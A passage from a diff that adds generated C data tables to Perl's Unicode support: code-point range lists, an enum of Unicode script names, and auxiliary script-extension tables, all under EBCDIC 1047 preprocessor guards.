+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB50,
+	0xFBC2,
+	0xFBD3,
+	0xFD3E,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDF2,
+	0xFDF3,
+	0xFDFD,
+	0xFDFE,
+	0xFE00,
+	0xFE10,
+	0xFE1A,
+	0xFE20,
+	0xFE2E,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF61,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x10330,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x10450,
+	0x10480,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x10880,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x10920,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109A0,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10A80,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B40,
+	0x10B56,
+	0x10B58,
+	0x10B60,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x11080,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11301,
+	0x11302,
+	0x11303,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x1133D,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE1,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B001,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	SCX_Unknown = 0,
+	SCX_Adlam = 1,
+	SCX_Ahom = 2,
+	SCX_Anatolian_Hieroglyphs = 3,
+	SCX_Arabic = 4,
+	SCX_Armenian = 5,
+	SCX_Avestan = 6,
+	SCX_Balinese = 7,
+	SCX_Bamum = 8,
+	SCX_Bassa_Vah = 9,
+	SCX_Batak = 10,
+	SCX_Bengali = 11,
+	SCX_Bhaiksuki = 12,
+	SCX_Bopomofo = 13,
+	SCX_Brahmi = 14,
+	SCX_Braille = 15,
+	SCX_Buginese = 16,
+	SCX_Buhid = 17,
+	SCX_Canadian_Aboriginal = 18,
+	SCX_Carian = 19,
+	SCX_Caucasian_Albanian = 20,
+	SCX_Chakma = 21,
+	SCX_Cham = 22,
+	SCX_Cherokee = 23,
+	SCX_Common = 24,
+	SCX_Coptic = 25,
+	SCX_Cuneiform = 26,
+	SCX_Cypriot = 27,
+	SCX_Cyrillic = 28,
+	SCX_Deseret = 29,
+	SCX_Devanagari = 30,
+	SCX_Duployan = 31,
+	SCX_Egyptian_Hieroglyphs = 32,
+	SCX_Elbasan = 33,
+	SCX_Ethiopic = 34,
+	SCX_Georgian = 35,
+	SCX_Glagolitic = 36,
+	SCX_Gothic = 37,
+	SCX_Grantha = 38,
+	SCX_Greek = 39,
+	SCX_Gujarati = 40,
+	SCX_Gurmukhi = 41,
+	SCX_Han = 42,
+	SCX_Hanb = 43,
+	SCX_Hangul = 44,
+	SCX_Hanunoo = 45,
+	SCX_Hatran = 46,
+	SCX_Hebrew = 47,
+	SCX_Hiragana = 48,
+	SCX_Imperial_Aramaic = 49,
+	SCX_Inherited = 50,
+	SCX_Inscriptional_Pahlavi = 51,
+	SCX_Inscriptional_Parthian = 52,
+	SCX_Javanese = 53,
+	SCX_Jpan = 54,
+	SCX_Kaithi = 55,
+	SCX_Kannada = 56,
+	SCX_Katakana = 57,
+	SCX_Kayah_Li = 58,
+	SCX_Kharoshthi = 59,
+	SCX_Khmer = 60,
+	SCX_Khojki = 61,
+	SCX_Khudawadi = 62,
+	SCX_Kore = 63,
+	SCX_Lao = 64,
+	SCX_Latin = 65,
+	SCX_Lepcha = 66,
+	SCX_Limbu = 67,
+	SCX_Linear_A = 68,
+	SCX_Linear_B = 69,
+	SCX_Lisu = 70,
+	SCX_Lycian = 71,
+	SCX_Lydian = 72,
+	SCX_Mahajani = 73,
+	SCX_Malayalam = 74,
+	SCX_Mandaic = 75,
+	SCX_Manichaean = 76,
+	SCX_Marchen = 77,
+	SCX_Masaram_Gondi = 78,
+	SCX_Meetei_Mayek = 79,
+	SCX_Mende_Kikakui = 80,
+	SCX_Meroitic_Cursive = 81,
+	SCX_Meroitic_Hieroglyphs = 82,
+	SCX_Miao = 83,
+	SCX_Modi = 84,
+	SCX_Mongolian = 85,
+	SCX_Mro = 86,
+	SCX_Multani = 87,
+	SCX_Myanmar = 88,
+	SCX_Nabataean = 89,
+	SCX_New_Tai_Lue = 90,
+	SCX_Newa = 91,
+	SCX_Nko = 92,
+	SCX_Nushu = 93,
+	SCX_Ogham = 94,
+	SCX_Ol_Chiki = 95,
+	SCX_Old_Hungarian = 96,
+	SCX_Old_Italic = 97,
+	SCX_Old_North_Arabian = 98,
+	SCX_Old_Permic = 99,
+	SCX_Old_Persian = 100,
+	SCX_Old_South_Arabian = 101,
+	SCX_Old_Turkic = 102,
+	SCX_Oriya = 103,
+	SCX_Osage = 104,
+	SCX_Osmanya = 105,
+	SCX_Pahawh_Hmong = 106,
+	SCX_Palmyrene = 107,
+	SCX_Pau_Cin_Hau = 108,
+	SCX_Phags_Pa = 109,
+	SCX_Phoenician = 110,
+	SCX_Psalter_Pahlavi = 111,
+	SCX_Rejang = 112,
+	SCX_Runic = 113,
+	SCX_Samaritan = 114,
+	SCX_Saurashtra = 115,
+	SCX_Sharada = 116,
+	SCX_Shavian = 117,
+	SCX_Siddham = 118,
+	SCX_SignWriting = 119,
+	SCX_Sinhala = 120,
+	SCX_Sora_Sompeng = 121,
+	SCX_Soyombo = 122,
+	SCX_Sundanese = 123,
+	SCX_Syloti_Nagri = 124,
+	SCX_Syriac = 125,
+	SCX_Tagalog = 126,
+	SCX_Tagbanwa = 127,
+	SCX_Tai_Le = 128,
+	SCX_Tai_Tham = 129,
+	SCX_Tai_Viet = 130,
+	SCX_Takri = 131,
+	SCX_Tamil = 132,
+	SCX_Tangut = 133,
+	SCX_Telugu = 134,
+	SCX_Thaana = 135,
+	SCX_Thai = 136,
+	SCX_Tibetan = 137,
+	SCX_Tifinagh = 138,
+	SCX_Tirhuta = 139,
+	SCX_Ugaritic = 140,
+	SCX_Vai = 141,
+	SCX_Warang_Citi = 142,
+	SCX_Yi = 143,
+	SCX_Zanabazar_Square = 144,
+	SCX_INVALID = 145,
+	SCX_use_AUX_TABLE_1 = -1,
+	SCX_use_AUX_TABLE_2 = -2,
+	SCX_use_AUX_TABLE_3 = -3,
+	SCX_use_AUX_TABLE_4 = -4,
+	SCX_use_AUX_TABLE_5 = -5,
+	SCX_use_AUX_TABLE_6 = -6,
+	SCX_use_AUX_TABLE_7 = -7,
+	SCX_use_AUX_TABLE_8 = -8,
+	SCX_use_AUX_TABLE_9 = -9,
+	SCX_use_AUX_TABLE_10 = -10,
+	SCX_use_AUX_TABLE_11 = -11,
+	SCX_use_AUX_TABLE_12 = -12,
+	SCX_use_AUX_TABLE_13 = -13,
+	SCX_use_AUX_TABLE_14 = -14,
+	SCX_use_AUX_TABLE_15 = -15,
+	SCX_use_AUX_TABLE_16 = -16,
+	SCX_use_AUX_TABLE_17 = -17,
+	SCX_use_AUX_TABLE_18 = -18,
+	SCX_use_AUX_TABLE_19 = -19,
+	SCX_use_AUX_TABLE_20 = -20,
+	SCX_use_AUX_TABLE_21 = -21,
+	SCX_use_AUX_TABLE_22 = -22,
+	SCX_use_AUX_TABLE_23 = -23,
+	SCX_use_AUX_TABLE_24 = -24,
+	SCX_use_AUX_TABLE_25 = -25,
+	SCX_use_AUX_TABLE_26 = -26,
+	SCX_use_AUX_TABLE_27 = -27,
+	SCX_use_AUX_TABLE_28 = -28,
+	SCX_use_AUX_TABLE_29 = -29,
+	SCX_use_AUX_TABLE_30 = -30,
+	SCX_use_AUX_TABLE_31 = -31,
+	SCX_use_AUX_TABLE_32 = -32,
+	SCX_use_AUX_TABLE_33 = -33,
+	SCX_use_AUX_TABLE_34 = -34,
+	SCX_use_AUX_TABLE_35 = -35,
+	SCX_use_AUX_TABLE_36 = -36,
+	SCX_use_AUX_TABLE_37 = -37,
+	SCX_use_AUX_TABLE_38 = -38,
+	SCX_use_AUX_TABLE_39 = -39,
+	SCX_use_AUX_TABLE_40 = -40,
+	SCX_use_AUX_TABLE_41 = -41,
+	SCX_use_AUX_TABLE_42 = -42,
+	SCX_use_AUX_TABLE_43 = -43,
+	SCX_use_AUX_TABLE_44 = -44,
+	SCX_use_AUX_TABLE_45 = -45
+} SCX_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_SCX_AUX_TABLES
+
+static const SCX_enum SCX_AUX_TABLE_1[] = {
+	SCX_Bopomofo,
+	SCX_Hanb
+};
+
+static const SCX_enum SCX_AUX_TABLE_2[] = {
+	SCX_Cyrillic,
+	SCX_Old_Permic
+};
+
+static const SCX_enum SCX_AUX_TABLE_3[] = {
+	SCX_Cyrillic,
+	SCX_Glagolitic
+};
+
+static const SCX_enum SCX_AUX_TABLE_4[] = {
+	SCX_Cyrillic,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_5[] = {
+	SCX_Armenian,
+	SCX_Georgian
+};
+
+static const SCX_enum SCX_AUX_TABLE_6[] = {
+	SCX_Arabic,
+	SCX_Syriac,
+	SCX_Thaana
+};
+
+static const SCX_enum SCX_AUX_TABLE_7[] = {
+	SCX_Adlam,
+	SCX_Arabic,
+	SCX_Mandaic,
+	SCX_Manichaean,
+	SCX_Psalter_Pahlavi,
+	SCX_Syriac
+};
+
+static const SCX_enum SCX_AUX_TABLE_8[] = {
+	SCX_Arabic,
+	SCX_Syriac
+};
+
+static const SCX_enum SCX_AUX_TABLE_9[] = {
+	SCX_Arabic,
+	SCX_Thaana
+};
+
+static const SCX_enum SCX_AUX_TABLE_10[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Latin,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sharada,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_11[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Latin,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_12[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sinhala,
+	SCX_Syloti_Nagri,
+	SCX_Takri,
+	SCX_Tamil,
+	SCX_Telugu,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_13[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Limbu,
+	SCX_Mahajani,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sinhala,
+	SCX_Syloti_Nagri,
+	SCX_Takri,
+	SCX_Tamil,
+	SCX_Telugu,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_14[] = {
+	SCX_Devanagari,
+	SCX_Kaithi,
+	SCX_Mahajani
+};
+
+static const SCX_enum SCX_AUX_TABLE_15[] = {
+	SCX_Bengali,
+	SCX_Chakma,
+	SCX_Syloti_Nagri
+};
+
+static const SCX_enum SCX_AUX_TABLE_16[] = {
+	SCX_Gurmukhi,
+	SCX_Multani
+};
+
+static const SCX_enum SCX_AUX_TABLE_17[] = {
+	SCX_Gujarati,
+	SCX_Khojki
+};
+
+static const SCX_enum SCX_AUX_TABLE_18[] = {
+	SCX_Grantha,
+	SCX_Tamil
+};
+
+static const SCX_enum SCX_AUX_TABLE_19[] = {
+	SCX_Chakma,
+	SCX_Myanmar,
+	SCX_Tai_Le
+};
+
+static const SCX_enum SCX_AUX_TABLE_20[] = {
+	SCX_Georgian,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_21[] = {
+	SCX_Hangul,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_22[] = {
+	SCX_Buhid,
+	SCX_Hanunoo,
+	SCX_Tagalog,
+	SCX_Tagbanwa
+};
+
+static const SCX_enum SCX_AUX_TABLE_23[] = {
+	SCX_Mongolian,
+	SCX_Phags_Pa
+};
+
+static const SCX_enum SCX_AUX_TABLE_24[] = {
+	SCX_Devanagari,
+	SCX_Grantha
+};
+
+static const SCX_enum SCX_AUX_TABLE_25[] = {
+	SCX_Devanagari,
+	SCX_Sharada
+};
+
+static const SCX_enum SCX_AUX_TABLE_26[] = {
+	SCX_Devanagari,
+	SCX_Kannada,
+	SCX_Malayalam,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_27[] = {
+	SCX_Devanagari,
+	SCX_Kannada
+};
+
+static const SCX_enum SCX_AUX_TABLE_28[] = {
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_29[] = {
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Jpan,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_30[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hangul,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore,
+	SCX_Yi
+};
+
+static const SCX_enum SCX_AUX_TABLE_31[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hangul,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_32[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Jpan,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_33[] = {
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana
+};
+
+static const SCX_enum SCX_AUX_TABLE_34[] = {
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_35[] = {
+	SCX_Hiragana,
+	SCX_Jpan
+};
+
+static const SCX_enum SCX_AUX_TABLE_36[] = {
+	SCX_Jpan,
+	SCX_Katakana
+};
+
+static const SCX_enum SCX_AUX_TABLE_37[] = {
+	SCX_Devanagari,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kaithi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Modi,
+	SCX_Takri,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_38[] = {
+	SCX_Devanagari,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kaithi,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Modi,
+	SCX_Takri,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_39[] = {
+	SCX_Bengali,
+	SCX_Devanagari
+};
+
+static const SCX_enum SCX_AUX_TABLE_40[] = {
+	SCX_Devanagari,
+	SCX_Tamil
+};
+
+static const SCX_enum SCX_AUX_TABLE_41[] = {
+	SCX_Kayah_Li,
+	SCX_Latin,
+	SCX_Myanmar
+};
+
+static const SCX_enum SCX_AUX_TABLE_42[] = {
+	SCX_Buginese,
+	SCX_Javanese
+};
+
+static const SCX_enum SCX_AUX_TABLE_43[] = {
+	SCX_Cypriot,
+	SCX_Linear_B
+};
+
+static const SCX_enum SCX_AUX_TABLE_44[] = {
+	SCX_Cypriot,
+	SCX_Linear_A,
+	SCX_Linear_B
+};
+
+static const SCX_enum SCX_AUX_TABLE_45[] = {
+	SCX_Arabic,
+	SCX_Coptic
+};
+
+static const SCX_enum * const SCX_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	SCX_AUX_TABLE_1,
+	SCX_AUX_TABLE_2,
+	SCX_AUX_TABLE_3,
+	SCX_AUX_TABLE_4,
+	SCX_AUX_TABLE_5,
+	SCX_AUX_TABLE_6,
+	SCX_AUX_TABLE_7,
+	SCX_AUX_TABLE_8,
+	SCX_AUX_TABLE_9,
+	SCX_AUX_TABLE_10,
+	SCX_AUX_TABLE_11,
+	SCX_AUX_TABLE_12,
+	SCX_AUX_TABLE_13,
+	SCX_AUX_TABLE_14,
+	SCX_AUX_TABLE_15,
+	SCX_AUX_TABLE_16,
+	SCX_AUX_TABLE_17,
+	SCX_AUX_TABLE_18,
+	SCX_AUX_TABLE_19,
+	SCX_AUX_TABLE_20,
+	SCX_AUX_TABLE_21,
+	SCX_AUX_TABLE_22,
+	SCX_AUX_TABLE_23,
+	SCX_AUX_TABLE_24,
+	SCX_AUX_TABLE_25,
+	SCX_AUX_TABLE_26,
+	SCX_AUX_TABLE_27,
+	SCX_AUX_TABLE_28,
+	SCX_AUX_TABLE_29,
+	SCX_AUX_TABLE_30,
+	SCX_AUX_TABLE_31,
+	SCX_AUX_TABLE_32,
+	SCX_AUX_TABLE_33,
+	SCX_AUX_TABLE_34,
+	SCX_AUX_TABLE_35,
+	SCX_AUX_TABLE_36,
+	SCX_AUX_TABLE_37,
+	SCX_AUX_TABLE_38,
